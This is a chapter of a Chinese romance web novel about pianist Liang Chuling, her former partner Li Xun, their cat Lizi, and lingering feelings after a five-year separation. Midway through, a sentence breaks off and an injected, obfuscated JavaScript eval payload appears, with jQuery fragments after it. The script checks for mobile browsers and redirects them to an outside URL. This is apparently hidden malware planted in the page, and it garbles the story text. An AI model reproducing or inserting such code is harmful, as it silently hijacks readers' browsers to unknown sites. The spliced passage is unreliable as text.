国家剧院那场内部演出结束，梁初灵退到后台，刚接过助理递来的水，就看见一个熟悉身影朝这边走来。


    是周序在国内资源团队的负责人——曾来找梁初灵接手过周序的工作、但被拒的那位。


    “梁老师，演出太精彩了。”负责人伸出手，“没想到能在这里遇到您。”


    梁初灵礼貌性地与他握了握手：“您也是来听演出的？”


    “陪家父来的。”负责人笑得恰到好处，“真是缘分。正好有个事想跟您聊聊，周序下个月回国，首场演出在厦门，不知能否荣幸邀请您作为特别嘉宾？”


    “抱歉，档期排不开。”梁初灵回得很快。


    负责人的笑容滞住，很快又恢复如常：“理解理解。不过梁老师，其实周序一直很想亲自邀请您，只是怕您还在生他的气。”


    “他没有我的联系方式吗？如果有需求，他可以直接联系我。”


    负责人像是抓到了什么希望：“那就是说如果周序本人联系您，您会答应是吗？”


    梁初灵抬眼看他，那双总是过分清澈的眼睛里此刻闪过促狭：“当然不会啦。我就是这么一说。”


    “……”负责人的表情管理失效。


    但他还在斟酌措辞，然后压低声音：“梁老师，当年周序退出中国市场，多少也和您有些关系。他这几年来一直在努力修复形象。如果您能作为嘉宾出席，对他是很大的帮助。毕竟你们曾经……”


    “曾经什么？”梁初灵的声音冷下来。


    “曾经你们合作得很愉快……”负责人硬生生改口。


    “他当初退出中国市场，是因为他自己的选择触犯了公众的底线，人要为自己的选择负责。”


    “至于修复形象——一个音乐家最应该用音乐说话，而不是靠蹭谁的热度。周序本人都没想过联系我走捷径，你倒是想得开。周序真有实力，自然会重新站起来。如果他需要靠我的加持才能在中国市场立足，那我建议他趁早转行。”


    说完，梁初灵微微颔首：“抱歉，我还有事，失陪了。”


    梁初灵觉得自己的人情在去柯蒂斯的第一年就还完了。


    周序能从人生低谷重返聚光灯下，如今更是能顺遂重回国内演出的舞台，和梁初灵的鼎力扶持不无关系。她没敷衍，凡能搭的桥、可铺的路，都尽心尽力，柯蒂斯的内部演出她都邀请了周序同台，还想怎样？


    纷议她并非未闻。


    反方讥讽：周序落得这个境地还不是因为梁初灵？现在帮扶复出，不是应该的？


    对啊，前因后果与她相关，可那又怎么样？她又没有威逼利诱，是周序自己做出的选择。


    正方又劝：你这清白感也太强了，没必要帮他。


    对啊，她清白感高，这是很好的品质，她不认为要丢弃这个品质去迎合当下爱看的叙事。


    她转身离开，助理小跑着跟上来，小声说：“梁老师，你这么说话会不会……”


    “会不会得罪人？”梁初灵接过外套披上，“有些人你越客气，他越是得寸进尺。而且我就想得罪他！我看见他就烦！”


    走出剧院侧门，秋夜的凉风扑面而来。梁初灵看了眼北京的夜空，想起很多年前，李寻曾对她说过一句话：“你不要总对自己说不。”


    她现在学会了。只是跟她说这句话的人，已经不在她身边。


    --


    李寻要住院观察两周，李炽也有急事要离京，她和儿子都不是喜欢邀请人来家里做客的性格，自然也不会愿意让陌生人上门喂猫。李炽的好友最近也在跑审批，忙得不行。


    想来想去，她只好又给梁初灵打电话：“初灵，李寻这边还得在医院观察一周多，我这边乐团在南京的演出出了点状况，我必须马上飞过去一趟。”


    “栗子又自己在家了，我不太放心。你要是这几天有空，能不能每天来家里看看它？喂个食，换换水……”


    李炽说到这里突然插入空白，因为她实在尴尬，猫本来就是李寻偷回来的……急昏头了给忘了，这……这，唉，李炽直挠头。


    只好又补了一句：“要是你也没工夫也没事儿，我问问李寻有没有朋友住得近的，能每天上门看看——”


    “我有空！”梁初灵几乎是抢着打断了她的话，“我来喂！”


    话一出口，梁初灵才意识到自己反应过度，她也插入漫长的空白。脸有点发烫，但那股气还在胸口堵着——


    这是她的猫！凭什么要让别人来喂？难道还要让李寻女朋友帮忙喂她的猫吗！


    李炽赶紧把尴尬的托付说完，“那就麻烦你了。我会跟李寻说一声。”


    “不用跟他说。有什么好说的！我-喂-我-的-猫-不-用-他-知-道！”梁初灵心里跟个汽笛一样在鸣叫。


    电话那头沉默了两秒，然后爆发出李炽的惊天大笑，笑得梁初灵五官全部皱在一起，又不敢骂李炽老师。


    “好好好。”李炽最终说，“那就这样。钥匙你有的吧？我家没换锁。回来了给你带礼物。”


    挂断电话，窗外的天是灰白的，云层很厚，像又憋着一场雨。


    五年前打完那通电话后，没过俩小时，张姨回家继续指挥师傅搬家具，意外发现栗子不见踪影。


    一定不是自己跑丢，而是被人偷了——


    不然怎么会猫砂盆猫碗猫窝都不见了啊！


    好歹毒的心思！


    客厅有监控，但张姨不会弄，赶紧联系梁初灵，梁初灵吓得立即登录查看，于是在摄像头记录里，看着李寻用钥匙开了她家的门、收拾了栗子、还把泼洒出来的猫粮扫了、临走前还对着摄像头说了句拜拜。


    极其嚣张……


    当初就不该把我家钥匙给你！梁初灵快气死了。


    她给李寻打电话，打了七个，他都没接，第八个，他接了。


    “栗子呢？”她问。


    “在我这儿。”李寻说。


    “还给我！”


    “不给。”


    “李寻！”


    “梁初灵，”他的声音很平静，“你可以不见我，可以当我不存在。但栗子我要带走。”


    梁初灵气得浑身发抖，从没想过李寻会是这样的人。


    骂他无耻，骂他强盗，骂他凭什么。


    李寻安静地听完，只说了一句：“就凭它也是我的猫。梁初灵，你不能把什么都拿走。”


    后来，猫就一直留在李寻那儿。李炽偶尔发照片过来，有时候梁初灵半夜睡不着，会点开那些照片，放大，看看有没有可能在照片角落里看到一点人的痕迹。


    --


    去李炽家时，梁初灵一开始像个做贼的，直到打开鞋柜，看到了里面那双看起来新、但又有点旧了的粉色拖鞋，是她几年前的那双，居然还在。


    屋子里很安静，栗子听到动静，从猫爬架上跳下来，叼着羊毛球玩具慢悠悠走过来，在她腿边蹭了蹭，发出一声绵长的叫声。


    “你还认得我啊！”梁初灵蹲下身，是十二分的惊喜，摸了摸栗子的头。猫的毛很软，手感熟悉得让她鼻子发酸。


    再拿过羊毛球，这个玩具不知道它已经玩了多长时间，都不再是一个圆润的球，已经被咬得奇形怪状。


    换了猫粮和水，清理了猫砂盆，做完这些，她坐在客厅的地毯上，专心去和栗子交流感情，一边交流一边在心里谩骂李寻。


    人背靠着沙发，阳光从窗户射进来，猫跳进怀里。


    这个房子，这个角落，这个姿势，太熟悉了。


    困意涌上来，梁初灵不知道自己为什么每次来这个房子都犯困，从几年前到几年后，都是这样。


    也许是这里的阳光太好，也许是地毯太软，也许是栗子的呼噜声太催眠。眼皮越来越重，意识渐渐模糊。


    算了，就睡一会儿。她对自己说。


    吸入性肺炎不严重，但医生建议李寻至少住院观察要满一周，李寻在医院躺到第四天就受不了了。他知道李炽去了南京，家里只有栗子。


    虽然李炽说找了朋友每天上门照看，但李寻还是不放心，而且影片还有一堆工作等着他呢。


    医生拗不过，开了些口服药，叮嘱了一大堆注意事项，总算放他出院。


    李寻打车回到小区时，已经是下午三点多，阳光很好，小区里的银杏叶开始泛黄，在雨后清新的空气里格外鲜亮。


    客厅里很安静，李寻第一眼没看到栗子，正想叫一声——


    他确定自己唇齿没动，喉咙也没发出声响，却又觉得声音已经破腔而出，只是声音没顺着空气散开，反倒被折了回来，硬生生扎进他自己的感官里——


    他看见梁初灵歪着头，靠在沙发边睡着。


    栗子蜷在她腿上也睡得正香。


    他看到睫毛在梁初灵眼睑下投出阴影；看到她的呼吸很轻；看到她的胸口起伏；看到她的手指甲有一点长了，估计这两天就得剪；看到她卫衣的帽子没翻出来；看到她的头发有一簇粘在了嘴边；看到她的黑色裤子上猫毛明显；看到那双属于她的拖鞋；看到她右手依然握着的羊毛球；看到……


    李寻站在门口，一动不动。


    他觉得自己可能还没出院，可能还在医院床上，这是梦，或者他穿越了，穿越回五年前，某个普通的下午，他回家，看见梁初灵在等他，不小心睡着。


    他眨了眨眼。


    画面还在。


    不是梦。


    时间突然倒流了五年。没有决裂，没有伤害，没有分开，没有那个电话。


    她还是那个会在他家睡着的梁初灵，栗子还是那只喜欢黏着她的猫，而这个房子，还是她们可以一起休憩的地方。


    李寻轻轻关上门，脱掉外套，换了拖鞋，一步步走过去，在她身边的地毯上坐下。


    距离很近，近到能看清她脸上细小的绒毛，能闻到她身上不熟悉的香味。


    就这么坐着静静看着她。


    目光流连在她眉眼间，梁初灵睡梦中突然放松下来，手里的羊毛球滚落，滚着滚着滚成一个圆圆的新玩具。


    分开后的日子，对李寻而言是一种清晰的凌迟。


    在那通关于栗子的电话后，梁初灵给他发了条微信：“我再也不想见到你。”


    发完后就把他拉黑。


    很快梁初灵就出了国。那时候柯蒂斯还没开学，李寻不可能知道她去了哪里。


    甚至知晓她已经离开，都还是某天妈女士给李寻打电话，问，栗子是不是在他那儿？李寻尴尬应是。


    妈女士这才轻松地拍拍胸脯，说那就放心了。梁初灵只说了自己养不了栗子，所以给别人养，又不说是谁。妈女士想来想去，能让梁初灵放心给出去的只有李寻。李寻只能再应是，心里苦涩地想，我已经是别人了。


    妈女士又说，家里有很多猫罐头和猫粮，让他过来一趟拿走。李寻说还是不了，他跟梁初灵吵了架，现在不方便见面。妈女士没多问二人关系，只说：“她昨天就出国了，你俩见不到面，没事儿，你来拿吧。”


    拿完罐头回来，栗子在家里折腾，把一个抱枕给咬破，里面的絮纷纷扬扬飞舞，李寻站在絮中，像站在雪中，突然想起二人之前的那个约定。


    签证是早就办好的，为了那个未曾实现的约定，他一个人去了北极。


    站在岸边，面对无边无际的的冰原和深灰色的海，极寒的空气吸进肺，带着凛冽的干净。同团旅客们兴奋地拍照、惊呼，李寻却沉默。


    李寻看着地球尽头的苍茫，心里想的是：梁初灵，你有没有可能也来到了这里？


    这个念头毫无道理，但他在每一个转角，每一条冰封的小径，每一次登上观景台时，眼神总会在人群中搜寻。


    想象着她裹着羽绒服，帽子边露出一点头发，眼睛被雪映亮的样子。


    甚至能听见她可能会说的惊叹词。


    当然，他一次也没有遇见她。


    旅途中认识的新朋友里，也没有人知道梁初灵是谁。


    这里的天地太浩大，个人的悲欢太小。


    北极不常下雨，雨会该换样貌以雪或霜的形式出现，但李寻碰见了一场雨，如整个天空向他俯下身，匍匐在他的背上，将他压得想弯腰。


    李寻摸了摸脸上的水，是雨水，他想。


    远处，有不知道谁堆的一个大雪人，堆得不好，像个葫芦，像梁初灵脖子上那个葫芦吊坠，转而想到梁初灵对他如此决绝，不知道这个吊坠会被如何处置。


    李寻一步步走近那个雪人，发现雪人的眼睛是一对袖扣，嘴巴是一枚发卡，耳朵是一边一个打火机，而让他觉得像个葫芦的原因——雪人头顶上竖起来一块——是不知道谁竖插上去的一个护目镜。


    雪人的一身都是人类世界的痕迹。


    周围一个人凑过来说，这是这儿堆得最大的一个雪人，上面的东西都是大家在海里捡到的，顺手就糊了上去，又拉着李寻往雪人背面看，有人拿树枝写了字。


    李寻也拿树枝刻了三个字母：LCL。


    刻完自己都觉得太可笑，想要划掉，但树枝要戳上去的时候他又不忍心，他连去伤害梁初灵的名字都不忍心……于是脱掉手套，用手心温度将这三个字母抹花。


    抹去后，他坐在狗拉雪橇上，在冰酒店里喝一杯冰镇的酒，在深夜裹着毯子等待极光，心里满满的，却又空落落的，因为都是梁初灵。


    那些未曾与她分享的震撼，寂静和寒冷，都变成了一种加倍的孤独。他履行了约定，却把承诺的另一半，永远留在了想象中。北极的星空璀璨至极，可星光带着遗憾的凉意。


    回来之后，李寻的状态糟糕透顶，放弃音乐的决定带来的不仅仅是前途的迷茫，更像是一种身份认同的撕裂。


    李寻的朋友说：梁初灵把你毁掉了。


    毁掉，李寻特别特别讨厌这个词，显得自己很不堪，也很没有主体性。


    李寻相信一个人只会成为自己，这和任何人都没有关系，只会是自己一个人的事。


    如果某件事给某个人造成了深切的影响、且一直在影响，那么，其实是这个人放任了自己被这件事去影响。


    太过清醒的弊端就体现在这里，他明晰自己在放任梁初灵影响他的人生。


    李寻很快就去了纽约，身边再没有一个人认识梁初灵。


    没有人知道那个在古典乐坛如雷贯耳的名字曾与他息息相关，没有人会用探究或同情的眼神看他，更不会有人提起她的近况。


    世界终于如他所“愿”，将关于她的一切痕迹擦拭得干净。


    起初他以为这是解脱。


    直到某个深夜，他在公寓里向新认识的朋友解释自己为什么放弃钢琴转向电影时，发现自己竟然找不到一个能概括的理由——任何一个诚实的理由，都绕不开她。


    那一刻他悚然惊觉，她的离开不是瞬间的断裂，而是一种缓慢却更加彻底的抽离。


    先是共同的圈子，然后是交织的日常，最后连提及的理由和语境都消失了。


    李寻像一棵被移植到陌生土壤的树，表面上存活，根须却悬在半空，再也触不到能滋养他的熟悉养料。


    最痛苦的是他无法自我欺骗。


    他向来看得太清楚，以至于能清晰感觉到“梁初灵”如何从一个名字、一段具体的关系，逐渐变成一个符号，一个只有他自己记得的、他人无法验证的过去。


    这种清晰感让每一次失去痕迹都变成一次确认的刺痛。


    休息的一整年，其中一部分时间鬼使神差地去了好几次费城。


    李寻不擅长欺骗自己，所以每一次去，都清楚知道自己是为何而去。


    柯蒂斯校园不大，但要偶遇一个特定的人却实在需要运气。


    去了好几次，大多时间只是坐在校园的长椅上，看着那些匆匆走过的年轻面孔，想象着她穿行其间的样子。


    直到有一次，临近黄昏，他站在一栋古老建筑的阴影里，看见梁初灵从灯火通明的演奏厅里走出来，身边站着周序。


    周序似乎说了什么有趣的话，梁初


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864544|189655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    灵仰起脸笑起来，那是李寻很久没见过的开怀笑容。周序被她的笑容鼓舞，情绪激动，说着说着，伸出手拉住了梁初灵空着的那只手。梁初灵没有甩开。


    李寻站在渐浓的暮色中，远看那幅画面温暖和谐，充满了年轻伴侣之间的亲昵。周序眼里不掩饰的倾慕，梁初灵全然的放松，这一切都在告诉他一个事实：梁初灵选择了周序。


    周序热烈、直接、愿意为她赴汤蹈火——虽然幼稚又危险，但那确实是毫无保留的倾慕。且即使经历风波，他依然是舞台上耀眼的存在。她们依然是同一个世界的人。


    李寻曾对梁初灵说过，要给她最好的爱情。


    可是什么才是最好的爱情，他哪里说得清楚。


    他只有过这一份爱情，也只给得出这一份爱情。


    但如果梁初灵选择了周序，那么李寻能给的最好的爱情，大概就是成全。


    成全意味着不打扰，不纠缠，不在她的新生活里留下自己的阴影。


    也意味着……如果梁初灵选择和周序在一起，那李寻至少希望她选择的对象，不是一个需要她去辩解去捍卫的污点。


    那之后李寻没再去找过梁初灵，甚至连不久后原本应该共同奔赴的克莱本大赛，他也提交了退赛申请。


    那个舞台失去了所有的意义。


    他选择彻底退出她的赛道。


    回到住处，他拿出手机，决定删除所有与她相关的东西，可删除的过程，变成了一场完整的情感复盘，拿着放大镜，将已经结痂的伤口重新撕开，审视每一道纹理，回味每一次疼痛的由来。


    太残忍了。


    他做不到，不是舍不得，而是复盘本身带来的二次伤害，超出了他能承受的范围。


    他只好去买了部新手机，办了张新卡，也导入任何旧数据。新的通讯录空空如也，新的相册一片空白，新的聊天软件里没有任何历史记录。


    让一切从零开始。如果无法处理过去，那就创造一段没有过去的现在。


    休息一年后，李寻才有心力重新考学，入学后的电影映后谈上，有观众提起古典乐圈的八卦，提到了周序当年的风波。


    在场不少人用戏谑的语气说起周序，话里话外都是讽刺。


    不提梁初灵，一是因为如今她地位太高，二是因为那位俄罗斯的顶尖女钢琴家叶莲娜、和中国的顶尖女钢琴家李炽，不遗余力的骂遍了所有嘲讽梁初灵的声音。


    人都是趋利避害的，如周序曾因混血的长相也好、天才的光环也好、家族的背景也好、资本的推崇也好，得以被赋魅，让人不敢与他作对。


    如今梁初灵也走到了这样的环境，走到了一个普通优秀的男人似乎都能够走到的环境。


    李寻是嘉宾之一，拿起话筒解释了几句，讲述了每件事的后续定论，指出不应该只关注谣传不关注事实、只在乎流言不在乎结果。这让现场气氛十分尴尬。


    这其实不太符合李寻的性格……


    主持人很快圆场：“看来李导对古典音乐圈还是很关心啊。”


    李寻捡起滚落的奇形怪状的羊毛球，放到一边，起身走进了卧室，打开书桌抽屉。里面是一些不常动的杂物：旧护照、一些照片、还有一部旧手机。


    他把手机拿了出来充电，等待开机的时间里，他几乎想拔掉电源——这行为自欺欺人到了可悲的地步。


    换了新手机新号码，宣称要斩断过去，可这部旧手机和那个旧号码，他还一直留着，话费还一直交着。


    李寻点开微信，梁初灵依然在置顶的位置，点开对话框，最后的聊天记录停留在五年前，往上翻是更早的对话碎片，像一地闪闪发光的玻璃碴，记录着曾经如何毫无保留地分享过生活。


    他当然不会去装模作样发一些只会得到一个红色感叹号的消息，但也没有删掉这个对话框。就让它在那里，像一个墓碑。


    又点开相册，里面有当初删到一半的照片，他没有勇气再点开任何一张细看。那些缩略图已经足够构成一股汹涌浪潮，拍打着他的岸堤。


    为了活下去，他离开惊天骇浪，逃回客厅，却在看着睡着的梁初灵时，再度被浪头卷进水中——忽然想起落水时的感觉。


    被洪水卷走的那一刻，浑浊的水灌进口鼻，那种濒死感真实，但说起来很可笑，当时他脑子里闪过的第一个念头是恐惧，并非对死亡的恐惧，而是——


    他恐惧自己就这样死了。


    死不可怕，可怕的是会成为活人讲起来的故事。


    活人讲起李寻，他害怕他的整个人生，会被简化成一句话——关于梁初灵的一句话。


    这个简化的权力，是李寻自己给出去的。


    可现在，看着眼前的梁初灵，李寻必须承认有些人就是会贯穿你生命的始终，无论你愿不愿意。她不是你故事的一部分，你是她故事的一部分——或者反过来，都一样。你们的故事早已纠缠在一起，分不清谁是谁的注脚。


    梁初灵的睫毛颤了颤，像是要醒，却没醒，只动了动嘴唇说梦话：“周序……”


    名字轻飘飘从她睡梦中滑出，像一片刀，刺进李寻刚刚因旧景重现而温热的心口。


    刚刚因她毫无防备睡在这里而生出的柔软幻觉，哗啦一声碎裂，碎片同样尖锐，扎得他五脏六腑都生出迟来的恨意。


    李寻越靠越近，脸跟她的脸相隔五年，又好像是一瞬间。阳光在她脸上跳跃，绒毛可见，无害得甚至有些天真。可她刚刚喊了周序。


    伊凡、周序，梁初灵的身边还有多少人？


    凭什么？


    凭什么你可以身边又有新人又有旧人？凭什么你和伊凡在一起，却还可以和周序有牵扯？你对待前任不是很决绝的吗？凭什么周序作为前任还能被你喊起？


    凭什么？


    凭什么你当初可以那样决绝的把我推开，说再也不想见到我，甚至不给我挽留的机会。凭什么现在你却可以这样大剌剌踏进我家，就像那场驱逐从未发生过。凭什么你可以在我家睡着，还换了那双旧拖鞋，仿佛只是出了一趟远门归来。凭什么你在这里睡着，梦里喊的是别人的名字。凭什么你可以这样轻易跨越，跨越你划下的鸿沟，跨越时间和伤害垒起的高墙。凭什么你可以用那样不留余地的姿态离开我。凭什么我花了那么长时间，去理解那两个字，接受“我会伤害你”的这个陌生的自我认知。凭什么我在全新的领域里重建一个没有你的我，你却可以凭着一点点理由就轻描淡写地重新踏入我的领地，搅乱一池我以为早已死寂的春水。凭什么只有我还在原地较劲，你甚至能在我的空间里为别人入梦。


    李寻想摇醒她，想让她看着他的眼睛，再说一遍‘再也不想见到你’。想问她伊凡知道你这样吗？周序知道你这样吗？知道你会这样躺在前前任家的地板上，念着前任的名字入睡吗？


    李寻不会问，因为他知道这些问题也是伤害，他绝无可能再去伤害梁初灵。


    下午五点，阳光开始收网，从西侧百叶窗照进来，笼罩在李寻身上，像一个囚笼。


    李寻还是伸手把梁初灵那捋头发拨了下去，他一伸手，就挣脱了囚笼，还真是好温柔的囚笼


    温柔。是的，即使此刻心中有一点点恨意，那恨意里依然裹挟着无法剥离的温柔。


    恨她的无所谓，恨她的轻易跨越，恨自己时至今日依然会为她这样毫无防备的睡姿，而感到不合时宜的怜惜。


    没有答案，从来就不需要答案。梁初灵永远有资格这样做。李寻永远只能接受，接受她的到来，接受她的离开。


    李寻简直想嗤笑自己一声，他此刻也只想离开，去屋外躲一躲。


    但下一秒，梁初灵声音大了些，又说了一句梦话，带着明显的抗拒：“不要周序！”


    李寻愣住，看着她不安地翻了个身，栗子被她惊动，跳了下来蹭蹭李寻。


    梁初灵还在睡梦中，又嘟囔了一句：“就是不要！”


    带着孩子气的固执。


    李寻俯身靠近，轻声问：“不要周序，那你要谁？”